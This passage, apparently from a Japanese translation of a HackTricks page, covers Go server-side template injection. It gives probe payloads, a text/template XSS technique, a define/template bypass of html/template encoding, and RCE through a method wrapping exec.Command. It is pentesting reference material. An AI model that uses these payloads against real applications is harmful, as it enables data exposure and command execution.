  • {{ . }}: データ構造の入力を表示します。たとえば、Password属性を持つオブジェクトが渡された場合、{{ .Password }}でそれを公開できます。
  • {{printf "%s" "ssti" }}: 文字列 "ssti" を表示することが期待されています。
  • {{html "ssti"}}, {{js "ssti"}}: これらのペイロードは、"html"や"js"を追加せずに "ssti" を返すはずです。さらなる指示については、Goのドキュメントこちらを参照してください。

XSSの悪用

text/templateパッケージを使用すると、XSSを直接挿入することで簡単に行うことができます。一方、html/templateパッケージはこれを防ぐために応答をエンコードします(たとえば、{{"<script>alert(1)</script>"}}&lt;script&gt;alert(1)&lt;/script&gt;となります。ただし、Goでのテンプレートの定義と呼び出しはこのエンコーディングをバイパスできます {{define "T1"}}{{end}} {{template "T1"}}

RCEの悪用

RCEの悪用は、html/templatetext/templateの間で大きく異なります。text/templateモジュールでは、任意の公開関数を直接呼び出すことができます("call"値を使用)。これはhtml/templateでは許可されていません。これらのモジュールのドキュメントはhtml/templateの場合こちらtext/templateの場合こちらで利用できます。

GoにおけるSSTIを介したRCEにおいて、オブジェクトのメソッドを呼び出すことができます。たとえば、提供されたオブジェクトにSystemメソッドがコマンドを実行する場合、{{ .System "ls" }}のように悪用できます。これを悪用するには通常、ソースコードへのアクセスが必要です。与えられた例のように:

func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}

さらなる情報

その他の攻撃手法

他の攻撃手法については、https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injectionをチェックしてください。また、興味深いタグ情報はhttps://github.com/DiogoMRSilva/websitesVulnerableToSSTIで見つけることができます。

BlackHat PDF

{% file src="../../.gitbook/assets/en-server-side-template-injection-rce-for-the-modern-web-app-blackhat-15.pdf" %}

関連するヘルプ

役立つと思われる場合は、以下を参照してください:

ツール

ブルートフォース検出リスト

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}

練習と参考文献

RootedCONスペインで最も関連性の高いサイバーセキュリティイベントであり、ヨーロッパでも最も重要なイベントの一つです。技術知識の促進を使命とするこの会議は、あらゆる分野の技術とサイバーセキュリティ専門家にとっての熱い出会いの場です。

{% embed url="https://www.rootedcon.com/" %}

ゼロからヒーローまでのAWSハッキングを学ぶ htARTEHackTricks AWS Red Team Expert

HackTricksをサポートする他の方法